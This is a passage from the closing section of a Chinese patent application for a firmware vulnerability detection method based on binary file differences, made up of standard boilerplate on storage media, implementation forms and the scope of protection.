本申请实施例还提供一种计算机可读存储介质,其上存储有计算机程序,该计算机程序被处理器执行时以实现前述基于二进制文件差异的固件漏洞检测方法的步骤。该计算机可读存储介质可以是有形存储介质,诸如随机存储器(RAM)、内存、只读存储器(ROM)、电可编程ROM、电可擦除可编程ROM、寄存器、软盘、硬盘、可移动存储盘、CD-ROM、或技术领域内所公知的任意其它形式的存储介质。

本领域普通技术人员应该可以明白,结合本文中所公开的实施方式描述的各示例性的组成部分、系统和方法,能够以硬件、软件或者二者的结合来实现。具体究竟以硬件还是软件方式来执行,取决于技术方案的特定应用和设计约束条件。专业技术人员可以对每个特定的应用来使用不同方法来实现所描述的功能,但是这种实现不应认为超出本申请的范围。当以硬件方式实现时,其可以例如是电子电路、专用集成电路(ASIC)、适当的固件、插件、功能卡等等。当以软件方式实现时,本申请的元素是被用于执行所需任务的程序或者代码段。程序或者代码段可以存储在机器可读介质中,或者通过载波中携带的数据信号在传输介质或者通信链路上传送。

需要明确的是,本申请并不局限于上文所描述并在图中示出的特定配置和处理。为了简明起见,这里省略了对已知方法的详细描述。在上述实施例中,描述和示出了若干具体的步骤作为示例。但是,本申请的方法过程并不限于所描述和示出的具体步骤,本领域的技术人员可以在领会本申请的精神后,作出各种改变、修改和添加,或者改变步骤之间的顺序。

本申请中,针对一个实施方式描述和/或例示的特征,可以在一个或更多个其它实施方式中以相同方式或以类似方式使用,和/或与其他实施方式的特征相结合或代替其他实施方式的特征。

以上所述仅为本申请的优选实施例,并不用于限制本申请,对于本领域的技术人员来说,本申请实施例可以有各种更改和变化。凡在本申请的精神和原则之内,所作的任何修改、等同替换、改进等,均应包含在本申请的保护范围之内。

技术分类

06120115569002